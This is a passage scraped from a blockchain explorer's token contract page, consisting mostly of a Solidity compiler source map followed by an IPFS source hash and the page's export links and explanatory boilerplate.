366::-;7150:3;7171:67;7235:2;7230:3;7171:67;:::i;:::-;7164:74;;7247:93;7336:3;7247:93;:::i;:::-;7365:2;7360:3;7356:12;7349:19;;7154:220;;;:::o;7380:366::-;7522:3;7543:67;7607:2;7602:3;7543:67;:::i;:::-;7536:74;;7619:93;7708:3;7619:93;:::i;:::-;7737:2;7732:3;7728:12;7721:19;;7526:220;;;:::o;7752:118::-;7839:24;7857:5;7839:24;:::i;:::-;7834:3;7827:37;7817:53;;:::o;7876:112::-;7959:22;7975:5;7959:22;:::i;:::-;7954:3;7947:35;7937:51;;:::o;7994:256::-;8106:3;8121:75;8192:3;8183:6;8121:75;:::i;:::-;8221:2;8216:3;8212:12;8205:19;;8241:3;8234:10;;8110:140;;;;:::o;8256:288::-;8384:3;8399:91;8486:3;8477:6;8399:91;:::i;:::-;8515:2;8510:3;8506:12;8499:19;;8535:3;8528:10;;8388:156;;;;:::o;8550:222::-;8643:4;8681:2;8670:9;8666:18;8658:26;;8694:71;8762:1;8751:9;8747:17;8738:6;8694:71;:::i;:::-;8648:124;;;;:::o;8778:210::-;8865:4;8903:2;8892:9;8888:18;8880:26;;8916:65;8978:1;8967:9;8963:17;8954:6;8916:65;:::i;:::-;8870:118;;;;:::o;8994:313::-;9107:4;9145:2;9134:9;9130:18;9122:26;;9194:9;9188:4;9184:20;9180:1;9169:9;9165:17;9158:47;9222:78;9295:4;9286:6;9222:78;:::i;:::-;9214:86;;9112:195;;;;:::o;9313:419::-;9479:4;9517:2;9506:9;9502:18;9494:26;;9566:9;9560:4;9556:20;9552:1;9541:9;9537:17;9530:47;9594:131;9720:4;9594:131;:::i;:::-;9586:139;;9484:248;;;:::o;9738:419::-;9904:4;9942:2;9931:9;9927:18;9919:26;;9991:9;9985:4;9981:20;9977:1;9966:9;9962:17;9955:47;10019:131;10145:4;10019:131;:::i;:::-;10011:139;;9909:248;;;:::o;10163:419::-;10329:4;10367:2;10356:9;10352:18;10344:26;;10416:9;10410:4;10406:20;10402:1;10391:9;10387:17;10380:47;10444:131;10570:4;10444:131;:::i;:::-;10436:139;;10334:248;;;:::o;10588:419::-;10754:4;10792:2;10781:9;10777:18;10769:26;;10841:9;10835:4;10831:20;10827:1;10816:9;10812:17;10805:47;10869:131;10995:4;10869:131;:::i;:::-;10861:139;;10759:248;;;:::o;11013:419::-;11179:4;11217:2;11206:9;11202:18;11194:26;;11266:9;11260:4;11256:20;11252:1;11241:9;11237:17;11230:47;11294:131;11420:4;11294:131;:::i;:::-;11286:139;;11184:248;;;:::o;11438:222::-;11531:4;11569:2;11558:9;11554:18;11546:26;;11582:71;11650:1;11639:9;11635:17;11626:6;11582:71;:::i;:::-;11536:124;;;;:::o;11666:214::-;11755:4;11793:2;11782:9;11778:18;11770:26;;11806:67;11870:1;11859:9;11855:17;11846:6;11806:67;:::i;:::-;11760:120;;;;:::o;11886:129::-;11920:6;11947:20;;:::i;:::-;11937:30;;11976:33;12004:4;11996:6;11976:33;:::i;:::-;11927:88;;;:::o;12021:75::-;12054:6;12087:2;12081:9;12071:19;;12061:35;:::o;12102:311::-;12179:4;12269:18;12261:6;12258:30;12255:2;;;12291:18;;:::i;:::-;12255:2;12341:4;12333:6;12329:17;12321:25;;12401:4;12395;12391:15;12383:23;;12184:229;;;:::o;12419:99::-;12471:6;12505:5;12499:12;12489:22;;12478:40;;;:::o;12524:169::-;12608:11;12642:6;12637:3;12630:19;12682:4;12677:3;12673:14;12658:29;;12620:73;;;;:::o;12699:305::-;12739:3;12758:20;12776:1;12758:20;:::i;:::-;12753:25;;12792:20;12810:1;12792:20;:::i;:::-;12787:25;;12946:1;12878:66;12874:74;12871:1;12868:81;12865:2;;;12952:18;;:::i;:::-;12865:2;12996:1;12993;12989:9;12982:16;;12743:261;;;;:::o;13010:185::-;13050:1;13067:20;13085:1;13067:20;:::i;:::-;13062:25;;13101:20;13119:1;13101:20;:::i;:::-;13096:25;;13140:1;13130:2;;13145:18;;:::i;:::-;13130:2;13187:1;13184;13180:9;13175:14;;13052:143;;;;:::o;13201:348::-;13241:7;13264:20;13282:1;13264:20;:::i;:::-;13259:25;;13298:20;13316:1;13298:20;:::i;:::-;13293:25;;13486:1;13418:66;13414:74;13411:1;13408:81;13403:1;13396:9;13389:17;13385:105;13382:2;;;13493:18;;:::i;:::-;13382:2;13541:1;13538;13534:9;13523:20;;13249:300;;;;:::o;13555:191::-;13595:4;13615:20;13633:1;13615:20;:::i;:::-;13610:25;;13649:20;13667:1;13649:20;:::i;:::-;13644:25;;13688:1;13685;13682:8;13679:2;;;13693:18;;:::i;:::-;13679:2;13738:1;13735;13731:9;13723:17;;13600:146;;;;:::o;13752:96::-;13789:7;13818:24;13836:5;13818:24;:::i;:::-;13807:35;;13797:51;;;:::o;13854:104::-;13899:7;13928:24;13946:5;13928:24;:::i;:::-;13917:35;;13907:51;;;:::o;13964:90::-;13998:7;14041:5;14034:13;14027:21;14016:32;;14006:48;;;:::o;14060:126::-;14097:7;14137:42;14130:5;14126:54;14115:65;;14105:81;;;:::o;14192:77::-;14229:7;14258:5;14247:16;;14237:32;;;:::o;14275:86::-;14310:7;14350:4;14343:5;14339:16;14328:27;;14318:43;;;:::o;14367:307::-;14435:1;14445:113;14459:6;14456:1;14453:13;14445:113;;;14544:1;14539:3;14535:11;14529:18;14525:1;14520:3;14516:11;14509:39;14481:2;14478:1;14474:10;14469:15;;14445:113;;;14576:6;14573:1;14570:13;14567:2;;;14656:1;14647:6;14642:3;14638:16;14631:27;14567:2;14416:258;;;;:::o;14680:320::-;14724:6;14761:1;14755:4;14751:12;14741:22;;14808:1;14802:4;14798:12;14829:18;14819:2;;14885:4;14877:6;14873:17;14863:27;;14819:2;14947;14939:6;14936:14;14916:18;14913:38;14910:2;;;14966:18;;:::i;:::-;14910:2;14731:269;;;;:::o;15006:281::-;15089:27;15111:4;15089:27;:::i;:::-;15081:6;15077:40;15219:6;15207:10;15204:22;15183:18;15171:10;15168:34;15165:62;15162:2;;;15230:18;;:::i;:::-;15162:2;15270:10;15266:2;15259:22;15049:238;;;:::o;15293:233::-;15332:3;15355:24;15373:5;15355:24;:::i;:::-;15346:33;;15401:66;15394:5;15391:77;15388:2;;;15471:18;;:::i;:::-;15388:2;15518:1;15511:5;15507:13;15500:20;;15336:190;;;:::o;15532:100::-;15571:7;15600:26;15620:5;15600:26;:::i;:::-;15589:37;;15579:53;;;:::o;15638:108::-;15685:7;15714:26;15734:5;15714:26;:::i;:::-;15703:37;;15693:53;;;:::o;15752:94::-;15791:7;15820:20;15834:5;15820:20;:::i;:::-;15809:31;;15799:47;;;:::o;15852:180::-;15900:77;15897:1;15890:88;15997:4;15994:1;15987:15;16021:4;16018:1;16011:15;16038:180;16086:77;16083:1;16076:88;16183:4;16180:1;16173:15;16207:4;16204:1;16197:15;16224:180;16272:77;16269:1;16262:88;16369:4;16366:1;16359:15;16393:4;16390:1;16383:15;16410:180;16458:77;16455:1;16448:88;16555:4;16552:1;16545:15;16579:4;16576:1;16569:15;16596:180;16644:77;16641:1;16634:88;16741:4;16738:1;16731:15;16765:4;16762:1;16755:15;16782:117;16891:1;16888;16881:12;16905:117;17014:1;17011;17004:12;17028:117;17137:1;17134;17127:12;17151:117;17260:1;17257;17250:12;17274:102;17315:6;17366:2;17362:7;17357:2;17350:5;17346:14;17342:28;17332:38;;17322:54;;;:::o;17382:94::-;17415:8;17463:5;17459:2;17455:14;17434:35;;17424:52;;;:::o;17482:223::-;17622:34;17618:1;17610:6;17606:14;17599:58;17691:6;17686:2;17678:6;17674:15;17667:31;17588:117;:::o;17711:182::-;17851:34;17847:1;17839:6;17835:14;17828:58;17817:76;:::o;17899:225::-;18039:34;18035:1;18027:6;18023:14;18016:58;18108:8;18103:2;18095:6;18091:15;18084:33;18005:119;:::o;18130:220::-;18270:34;18266:1;18258:6;18254:14;18247:58;18339:3;18334:2;18326:6;18322:15;18315:28;18236:114;:::o;18356:295::-;18496:34;18492:1;18484:6;18480:14;18473:58;18565:34;18560:2;18552:6;18548:15;18541:59;18634:9;18629:2;18621:6;18617:15;18610:34;18462:189;:::o;18657:122::-;18730:24;18748:5;18730:24;:::i;:::-;18723:5;18720:35;18710:2;;18769:1;18766;18759:12;18710:2;18700:79;:::o;18785:122::-;18858:24;18876:5;18858:24;:::i;:::-;18851:5;18848:35;18838:2;;18897:1;18894;18887:12;18838:2;18828:79;:::o

Swarm Source

ipfs://f876365a975d42dfd4ebbeccb4b3bea6e78d3054d0a09e04f32de41c7f03ee82
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.